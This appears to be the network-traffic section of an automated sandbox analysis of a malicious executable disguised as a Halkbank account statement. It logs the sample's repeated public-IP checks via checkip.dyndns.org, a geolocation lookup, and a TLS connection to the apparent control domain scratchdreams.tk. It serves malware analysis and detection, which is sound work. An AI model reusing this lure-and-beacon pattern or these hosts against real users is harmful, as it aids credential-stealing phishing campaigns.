May 2, 2024 11:54:55.872638941 CEST	49708	443	192.168.2.5	172.67.177.134
May 2, 2024 11:54:55.879030943 CEST	49708	443	192.168.2.5	172.67.177.134
May 2, 2024 11:54:55.885077000 CEST	49706	80	192.168.2.5	132.226.247.73
May 2, 2024 11:54:56.081897974 CEST	80	49706	132.226.247.73	192.168.2.5
May 2, 2024 11:54:56.122875929 CEST	49709	443	192.168.2.5	172.67.177.134
May 2, 2024 11:54:56.122916937 CEST	443	49709	172.67.177.134	192.168.2.5
May 2, 2024 11:54:56.123003960 CEST	49709	443	192.168.2.5	172.67.177.134
May 2, 2024 11:54:56.126746893 CEST	49709	443	192.168.2.5	172.67.177.134
May 2, 2024 11:54:56.126777887 CEST	443	49709	172.67.177.134	192.168.2.5
May 2, 2024 11:54:56.176695108 CEST	49706	80	192.168.2.5	132.226.247.73
May 2, 2024 11:54:56.310097933 CEST	443	49709	172.67.177.134	192.168.2.5
May 2, 2024 11:54:56.312459946 CEST	49709	443	192.168.2.5	172.67.177.134
May 2, 2024 11:54:56.312480927 CEST	443	49709	172.67.177.134	192.168.2.5
May 2, 2024 11:54:56.535454988 CEST	443	49709	172.67.177.134	192.168.2.5
May 2, 2024 11:54:56.535554886 CEST	443	49709	172.67.177.134	192.168.2.5
May 2, 2024 11:54:56.535602093 CEST	49709	443	192.168.2.5	172.67.177.134
May 2, 2024 11:54:56.536367893 CEST	49709	443	192.168.2.5	172.67.177.134
May 2, 2024 11:54:56.540188074 CEST	49706	80	192.168.2.5	132.226.247.73
May 2, 2024 11:54:56.541445971 CEST	49710	80	192.168.2.5	132.226.247.73
May 2, 2024 11:54:56.735527992 CEST	80	49706	132.226.247.73	192.168.2.5
May 2, 2024 11:54:56.735589027 CEST	49706	80	192.168.2.5	132.226.247.73
May 2, 2024 11:54:56.736934900 CEST	80	49710	132.226.247.73	192.168.2.5
May 2, 2024 11:54:56.737016916 CEST	49710	80	192.168.2.5	132.226.247.73
May 2, 2024 11:54:56.737152100 CEST	49710	80	192.168.2.5	132.226.247.73
May 2, 2024 11:54:56.932909012 CEST	80	49710	132.226.247.73	192.168.2.5
May 2, 2024 11:54:56.935266972 CEST	80	49710	132.226.247.73	192.168.2.5
May 2, 2024 11:54:56.936484098 CEST	49711	443	192.168.2.5	172.67.177.134
May 2, 2024 11:54:56.936517954 CEST	443	49711	172.67.177.134	192.168.2.5
May 2, 2024 11:54:56.936580896 CEST	49711	443	192.168.2.5	172.67.177.134
May 2, 2024 11:54:56.936877966 CEST	49711	443	192.168.2.5	172.67.177.134
May 2, 2024 11:54:56.936887980 CEST	443	49711	172.67.177.134	192.168.2.5
May 2, 2024 11:54:57.119395971 CEST	443	49711	172.67.177.134	192.168.2.5
May 2, 2024 11:54:57.121077061 CEST	49711	443	192.168.2.5	172.67.177.134
May 2, 2024 11:54:57.121095896 CEST	443	49711	172.67.177.134	192.168.2.5
May 2, 2024 11:54:57.161042929 CEST	49710	80	192.168.2.5	132.226.247.73
May 2, 2024 11:54:57.344532013 CEST	443	49711	172.67.177.134	192.168.2.5
May 2, 2024 11:54:57.344650030 CEST	443	49711	172.67.177.134	192.168.2.5
May 2, 2024 11:54:57.344707966 CEST	49711	443	192.168.2.5	172.67.177.134
May 2, 2024 11:54:57.345171928 CEST	49711	443	192.168.2.5	172.67.177.134
May 2, 2024 11:54:57.350186110 CEST	49713	80	192.168.2.5	132.226.247.73
May 2, 2024 11:54:57.545598984 CEST	80	49713	132.226.247.73	192.168.2.5
May 2, 2024 11:54:57.545669079 CEST	49713	80	192.168.2.5	132.226.247.73
May 2, 2024 11:54:57.545845032 CEST	49713	80	192.168.2.5	132.226.247.73
May 2, 2024 11:54:57.741249084 CEST	80	49713	132.226.247.73	192.168.2.5
May 2, 2024 11:54:57.780755043 CEST	80	49713	132.226.247.73	192.168.2.5
May 2, 2024 11:54:57.782798052 CEST	49714	443	192.168.2.5	172.67.177.134
May 2, 2024 11:54:57.782829046 CEST	443	49714	172.67.177.134	192.168.2.5
May 2, 2024 11:54:57.782881975 CEST	49714	443	192.168.2.5	172.67.177.134
May 2, 2024 11:54:57.783421040 CEST	49714	443	192.168.2.5	172.67.177.134
May 2, 2024 11:54:57.783432961 CEST	443	49714	172.67.177.134	192.168.2.5
May 2, 2024 11:54:57.832902908 CEST	49713	80	192.168.2.5	132.226.247.73
May 2, 2024 11:54:57.965560913 CEST	443	49714	172.67.177.134	192.168.2.5
May 2, 2024 11:54:57.967274904 CEST	49714	443	192.168.2.5	172.67.177.134
May 2, 2024 11:54:57.967293024 CEST	443	49714	172.67.177.134	192.168.2.5
May 2, 2024 11:54:58.190349102 CEST	443	49714	172.67.177.134	192.168.2.5
May 2, 2024 11:54:58.190463066 CEST	443	49714	172.67.177.134	192.168.2.5
May 2, 2024 11:54:58.190510035 CEST	49714	443	192.168.2.5	172.67.177.134
May 2, 2024 11:54:58.191066980 CEST	49714	443	192.168.2.5	172.67.177.134
May 2, 2024 11:54:58.194933891 CEST	49713	80	192.168.2.5	132.226.247.73
May 2, 2024 11:54:58.196075916 CEST	49716	80	192.168.2.5	132.226.247.73
May 2, 2024 11:54:58.390424013 CEST	80	49713	132.226.247.73	192.168.2.5
May 2, 2024 11:54:58.391537905 CEST	80	49716	132.226.247.73	192.168.2.5
May 2, 2024 11:54:58.393789053 CEST	49716	80	192.168.2.5	132.226.247.73
May 2, 2024 11:54:58.393790007 CEST	49713	80	192.168.2.5	132.226.247.73
May 2, 2024 11:54:58.397499084 CEST	49716	80	192.168.2.5	132.226.247.73
May 2, 2024 11:54:58.592816114 CEST	80	49716	132.226.247.73	192.168.2.5
May 2, 2024 11:54:58.593482971 CEST	80	49716	132.226.247.73	192.168.2.5
May 2, 2024 11:54:58.641685009 CEST	49716	80	192.168.2.5	132.226.247.73
May 2, 2024 11:54:58.669692039 CEST	49717	443	192.168.2.5	172.67.177.134
May 2, 2024 11:54:58.669708967 CEST	443	49717	172.67.177.134	192.168.2.5
May 2, 2024 11:54:58.677678108 CEST	49717	443	192.168.2.5	172.67.177.134
May 2, 2024 11:54:58.733688116 CEST	49717	443	192.168.2.5	172.67.177.134
May 2, 2024 11:54:58.733704090 CEST	443	49717	172.67.177.134	192.168.2.5
May 2, 2024 11:54:58.916291952 CEST	443	49717	172.67.177.134	192.168.2.5
May 2, 2024 11:54:58.958184004 CEST	49717	443	192.168.2.5	172.67.177.134
May 2, 2024 11:54:59.497109890 CEST	49717	443	192.168.2.5	172.67.177.134
May 2, 2024 11:54:59.497124910 CEST	443	49717	172.67.177.134	192.168.2.5
May 2, 2024 11:54:59.596965075 CEST	443	49717	172.67.177.134	192.168.2.5
May 2, 2024 11:54:59.597079992 CEST	443	49717	172.67.177.134	192.168.2.5
May 2, 2024 11:54:59.597137928 CEST	49717	443	192.168.2.5	172.67.177.134
May 2, 2024 11:54:59.761310101 CEST	49717	443	192.168.2.5	172.67.177.134
May 2, 2024 11:54:59.863033056 CEST	49716	80	192.168.2.5	132.226.247.73
May 2, 2024 11:54:59.863650084 CEST	49718	80	192.168.2.5	132.226.247.73
May 2, 2024 11:55:00.058418036 CEST	80	49716	132.226.247.73	192.168.2.5
May 2, 2024 11:55:00.058476925 CEST	49716	80	192.168.2.5	132.226.247.73
May 2, 2024 11:55:00.059952974 CEST	80	49718	132.226.247.73	192.168.2.5
May 2, 2024 11:55:00.060022116 CEST	49718	80	192.168.2.5	132.226.247.73
May 2, 2024 11:55:00.060322046 CEST	49718	80	192.168.2.5	132.226.247.73
May 2, 2024 11:55:00.256793022 CEST	80	49718	132.226.247.73	192.168.2.5
May 2, 2024 11:55:00.257428885 CEST	80	49718	132.226.247.73	192.168.2.5
May 2, 2024 11:55:00.276922941 CEST	49719	443	192.168.2.5	172.67.177.134
May 2, 2024 11:55:00.276948929 CEST	443	49719	172.67.177.134	192.168.2.5
May 2, 2024 11:55:00.277009010 CEST	49719	443	192.168.2.5	172.67.177.134
May 2, 2024 11:55:00.277656078 CEST	49719	443	192.168.2.5	172.67.177.134
May 2, 2024 11:55:00.277671099 CEST	443	49719	172.67.177.134	192.168.2.5
May 2, 2024 11:55:00.301645041 CEST	49718	80	192.168.2.5	132.226.247.73
May 2, 2024 11:55:00.460213900 CEST	443	49719	172.67.177.134	192.168.2.5
May 2, 2024 11:55:00.480860949 CEST	49719	443	192.168.2.5	172.67.177.134
May 2, 2024 11:55:00.480884075 CEST	443	49719	172.67.177.134	192.168.2.5
May 2, 2024 11:55:00.685883999 CEST	443	49719	172.67.177.134	192.168.2.5
May 2, 2024 11:55:00.685995102 CEST	443	49719	172.67.177.134	192.168.2.5
May 2, 2024 11:55:00.686079979 CEST	49719	443	192.168.2.5	172.67.177.134
May 2, 2024 11:55:00.690990925 CEST	49719	443	192.168.2.5	172.67.177.134
May 2, 2024 11:55:00.719024897 CEST	49718	80	192.168.2.5	132.226.247.73
May 2, 2024 11:55:00.719731092 CEST	49720	80	192.168.2.5	132.226.247.73
May 2, 2024 11:55:00.916225910 CEST	80	49720	132.226.247.73	192.168.2.5
May 2, 2024 11:55:00.916323900 CEST	49720	80	192.168.2.5	132.226.247.73
May 2, 2024 11:55:00.916456938 CEST	49720	80	192.168.2.5	132.226.247.73
May 2, 2024 11:55:00.956132889 CEST	80	49718	132.226.247.73	192.168.2.5
May 2, 2024 11:55:00.961653948 CEST	80	49718	132.226.247.73	192.168.2.5
May 2, 2024 11:55:00.961709023 CEST	49718	80	192.168.2.5	132.226.247.73
May 2, 2024 11:55:01.112905025 CEST	80	49720	132.226.247.73	192.168.2.5
May 2, 2024 11:55:04.476000071 CEST	80	49720	132.226.247.73	192.168.2.5
May 2, 2024 11:55:04.521708012 CEST	49720	80	192.168.2.5	132.226.247.73
May 2, 2024 11:55:04.531945944 CEST	49721	443	192.168.2.5	172.67.177.134
May 2, 2024 11:55:04.531975031 CEST	443	49721	172.67.177.134	192.168.2.5
May 2, 2024 11:55:04.532028913 CEST	49721	443	192.168.2.5	172.67.177.134
May 2, 2024 11:55:04.532582045 CEST	49721	443	192.168.2.5	172.67.177.134
May 2, 2024 11:55:04.532596111 CEST	443	49721	172.67.177.134	192.168.2.5
May 2, 2024 11:55:04.714554071 CEST	443	49721	172.67.177.134	192.168.2.5
May 2, 2024 11:55:04.716202974 CEST	49721	443	192.168.2.5	172.67.177.134
May 2, 2024 11:55:04.716228008 CEST	443	49721	172.67.177.134	192.168.2.5
May 2, 2024 11:55:04.942008018 CEST	443	49721	172.67.177.134	192.168.2.5
May 2, 2024 11:55:04.942107916 CEST	443	49721	172.67.177.134	192.168.2.5
May 2, 2024 11:55:04.942179918 CEST	49721	443	192.168.2.5	172.67.177.134
May 2, 2024 11:55:04.942900896 CEST	49721	443	192.168.2.5	172.67.177.134
May 2, 2024 11:55:04.947160006 CEST	49720	80	192.168.2.5	132.226.247.73
May 2, 2024 11:55:04.947778940 CEST	49722	80	192.168.2.5	132.226.247.73
May 2, 2024 11:55:05.146770000 CEST	80	49722	132.226.247.73	192.168.2.5
May 2, 2024 11:55:05.146909952 CEST	49722	80	192.168.2.5	132.226.247.73
May 2, 2024 11:55:05.148523092 CEST	49722	80	192.168.2.5	132.226.247.73
May 2, 2024 11:55:05.148991108 CEST	80	49720	132.226.247.73	192.168.2.5
May 2, 2024 11:55:05.149069071 CEST	49720	80	192.168.2.5	132.226.247.73
May 2, 2024 11:55:05.345007896 CEST	80	49722	132.226.247.73	192.168.2.5
May 2, 2024 11:55:11.466059923 CEST	80	49722	132.226.247.73	192.168.2.5
May 2, 2024 11:55:11.467253923 CEST	49723	443	192.168.2.5	172.67.177.134
May 2, 2024 11:55:11.467291117 CEST	443	49723	172.67.177.134	192.168.2.5
May 2, 2024 11:55:11.467353106 CEST	49723	443	192.168.2.5	172.67.177.134
May 2, 2024 11:55:11.467582941 CEST	49723	443	192.168.2.5	172.67.177.134
May 2, 2024 11:55:11.467596054 CEST	443	49723	172.67.177.134	192.168.2.5
May 2, 2024 11:55:11.520394087 CEST	49722	80	192.168.2.5	132.226.247.73
May 2, 2024 11:55:11.649024010 CEST	443	49723	172.67.177.134	192.168.2.5
May 2, 2024 11:55:11.692287922 CEST	49723	443	192.168.2.5	172.67.177.134
May 2, 2024 11:55:11.708870888 CEST	49723	443	192.168.2.5	172.67.177.134
May 2, 2024 11:55:11.708879948 CEST	443	49723	172.67.177.134	192.168.2.5
May 2, 2024 11:55:11.875636101 CEST	443	49723	172.67.177.134	192.168.2.5
May 2, 2024 11:55:11.875730038 CEST	443	49723	172.67.177.134	192.168.2.5
May 2, 2024 11:55:11.875777006 CEST	49723	443	192.168.2.5	172.67.177.134
May 2, 2024 11:55:11.876225948 CEST	49723	443	192.168.2.5	172.67.177.134
May 2, 2024 11:55:11.962460995 CEST	49722	80	192.168.2.5	132.226.247.73
May 2, 2024 11:55:12.066484928 CEST	49726	443	192.168.2.5	104.21.27.85
May 2, 2024 11:55:12.066507101 CEST	443	49726	104.21.27.85	192.168.2.5
May 2, 2024 11:55:12.066572905 CEST	49726	443	192.168.2.5	104.21.27.85
May 2, 2024 11:55:12.073910952 CEST	49726	443	192.168.2.5	104.21.27.85
May 2, 2024 11:55:12.073926926 CEST	443	49726	104.21.27.85	192.168.2.5
May 2, 2024 11:55:12.199290991 CEST	80	49722	132.226.247.73	192.168.2.5
May 2, 2024 11:55:12.207757950 CEST	80	49722	132.226.247.73	192.168.2.5
May 2, 2024 11:55:12.207818031 CEST	49722	80	192.168.2.5	132.226.247.73
May 2, 2024 11:55:12.261317015 CEST	443	49726	104.21.27.85	192.168.2.5
May 2, 2024 11:55:12.261429071 CEST	49726	443	192.168.2.5	104.21.27.85
May 2, 2024 11:55:12.272430897 CEST	49726	443	192.168.2.5	104.21.27.85
May 2, 2024 11:55:12.272448063 CEST	443	49726	104.21.27.85	192.168.2.5
May 2, 2024 11:55:12.272689104 CEST	443	49726	104.21.27.85	192.168.2.5
May 2, 2024 11:55:12.278451920 CEST	49726	443	192.168.2.5	104.21.27.85
May 2, 2024 11:55:12.324122906 CEST	443	49726	104.21.27.85	192.168.2.5
May 2, 2024 11:55:47.610687017 CEST	443	49726	104.21.27.85	192.168.2.5
May 2, 2024 11:55:47.610754013 CEST	443	49726	104.21.27.85	192.168.2.5
May 2, 2024 11:55:47.610830069 CEST	49726	443	192.168.2.5	104.21.27.85
May 2, 2024 11:55:47.651453018 CEST	49726	443	192.168.2.5	104.21.27.85
May 2, 2024 11:56:01.935303926 CEST	80	49710	132.226.247.73	192.168.2.5
May 2, 2024 11:56:01.935390949 CEST	49710	80	192.168.2.5	132.226.247.73

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 2, 2024 11:54:52.996556997 CEST	50112	53	192.168.2.5	1.1.1.1
May 2, 2024 11:54:53.084842920 CEST	53	50112	1.1.1.1	192.168.2.5
May 2, 2024 11:54:55.173474073 CEST	54142	53	192.168.2.5	1.1.1.1
May 2, 2024 11:54:55.261873960 CEST	53	54142	1.1.1.1	192.168.2.5
May 2, 2024 11:55:11.961673021 CEST	51157	53	192.168.2.5	1.1.1.1
May 2, 2024 11:55:12.053781033 CEST	53	51157	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 2, 2024 11:54:52.996556997 CEST	192.168.2.5	1.1.1.1	0xff48	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
May 2, 2024 11:54:55.173474073 CEST	192.168.2.5	1.1.1.1	0x8b83	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
May 2, 2024 11:55:11.961673021 CEST	192.168.2.5	1.1.1.1	0x1e7e	Standard query (0)	scratchdreams.tk	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 2, 2024 11:54:53.084842920 CEST	1.1.1.1	192.168.2.5	0xff48	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
May 2, 2024 11:54:53.084842920 CEST	1.1.1.1	192.168.2.5	0xff48	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
May 2, 2024 11:54:53.084842920 CEST	1.1.1.1	192.168.2.5	0xff48	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
May 2, 2024 11:54:53.084842920 CEST	1.1.1.1	192.168.2.5	0xff48	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
May 2, 2024 11:54:53.084842920 CEST	1.1.1.1	192.168.2.5	0xff48	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
May 2, 2024 11:54:53.084842920 CEST	1.1.1.1	192.168.2.5	0xff48	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
May 2, 2024 11:54:55.261873960 CEST	1.1.1.1	192.168.2.5	0x8b83	No error (0)	reallyfreegeoip.org		172.67.177.134	A (IP address)	IN (0x0001)	false
May 2, 2024 11:54:55.261873960 CEST	1.1.1.1	192.168.2.5	0x8b83	No error (0)	reallyfreegeoip.org		104.21.67.152	A (IP address)	IN (0x0001)	false
May 2, 2024 11:55:12.053781033 CEST	1.1.1.1	192.168.2.5	0x1e7e	No error (0)	scratchdreams.tk		104.21.27.85	A (IP address)	IN (0x0001)	false
May 2, 2024 11:55:12.053781033 CEST	1.1.1.1	192.168.2.5	0x1e7e	No error (0)	scratchdreams.tk		172.67.169.18	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

scratchdreams.tk

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49706	132.226.247.73	80	6052	C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe

Timestamp	Bytes transferred	Direction	Data
May 2, 2024 11:54:53.320055008 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
May 2, 2024 11:54:53.516165018 CEST	323	IN	HTTP/1.1 200 OK Date: Thu, 02 May 2024 09:54:53 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 83c95c913fbc6af9a6605bddda3415d0 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 39 31 2e 39 36 2e 31 35 30 2e 32 32 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 191.96.150.225</body></html>
May 2, 2024 11:54:54.891679049 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
May 2, 2024 11:54:55.088221073 CEST	323	IN	HTTP/1.1 200 OK Date: Thu, 02 May 2024 09:54:54 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: b1bedc95d83f06c118f34fb4f02f0cf7 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 39 31 2e 39 36 2e 31 35 30 2e 32 32 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 191.96.150.225</body></html>
May 2, 2024 11:54:55.885077000 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
May 2, 2024 11:54:56.081897974 CEST	323	IN	HTTP/1.1 200 OK Date: Thu, 02 May 2024 09:54:55 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 047f6a8b09beb87a8c9ce24e9e8f69e9 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 39 31 2e 39 36 2e 31 35 30 2e 32 32 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 191.96.150.225</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49710	132.226.247.73	80	6052	C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe

Timestamp	Bytes transferred	Direction	Data
May 2, 2024 11:54:56.737152100 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
May 2, 2024 11:54:56.935266972 CEST	323	IN	HTTP/1.1 200 OK Date: Thu, 02 May 2024 09:54:56 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: d9447c882bc6797db6594f3f567d575e Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 39 31 2e 39 36 2e 31 35 30 2e 32 32 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 191.96.150.225</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49713	132.226.247.73	80	6052	C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe

Timestamp	Bytes transferred	Direction	Data
May 2, 2024 11:54:57.545845032 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
May 2, 2024 11:54:57.780755043 CEST	323	IN	HTTP/1.1 200 OK Date: Thu, 02 May 2024 09:54:57 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 7834562fff9685365a390e8090b21857 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 39 31 2e 39 36 2e 31 35 30 2e 32 32 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 191.96.150.225</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49716	132.226.247.73	80	6052	C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe

Timestamp	Bytes transferred	Direction	Data
May 2, 2024 11:54:58.397499084 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
May 2, 2024 11:54:58.593482971 CEST	323	IN	HTTP/1.1 200 OK Date: Thu, 02 May 2024 09:54:58 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 1e73ae924655a604c394604c99b21b80 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 39 31 2e 39 36 2e 31 35 30 2e 32 32 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 191.96.150.225</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49718	132.226.247.73	80	6052	C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe

Timestamp	Bytes transferred	Direction	Data
May 2, 2024 11:55:00.060322046 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
May 2, 2024 11:55:00.257428885 CEST	323	IN	HTTP/1.1 200 OK Date: Thu, 02 May 2024 09:55:00 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 28814ef55075da41f4f36dcd047f475f Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 39 31 2e 39 36 2e 31 35 30 2e 32 32 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 191.96.150.225</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49720	132.226.247.73	80	6052	C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe

Timestamp	Bytes transferred	Direction	Data
May 2, 2024 11:55:00.916456938 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
May 2, 2024 11:55:04.476000071 CEST	323	IN	HTTP/1.1 200 OK Date: Thu, 02 May 2024 09:55:04 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: e07378151365a0cd8a498a9b44b2acef Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 39 31 2e 39 36 2e 31 35 30 2e 32 32 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 191.96.150.225</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49722	132.226.247.73	80	6052	C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe

Timestamp	Bytes transferred	Direction	Data
May 2, 2024 11:55:05.148523092 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
May 2, 2024 11:55:11.466059923 CEST	323	IN	HTTP/1.1 200 OK Date: Thu, 02 May 2024 09:55:11 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: aa35b04f9faca5352cc7c974dc6d2e3e Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 39 31 2e 39 36 2e 31 35 30 2e 32 32 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 191.96.150.225</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49708	172.67.177.134	443	6052	C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-02 09:54:55 UTC	87	OUT	GET /xml/191.96.150.225 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
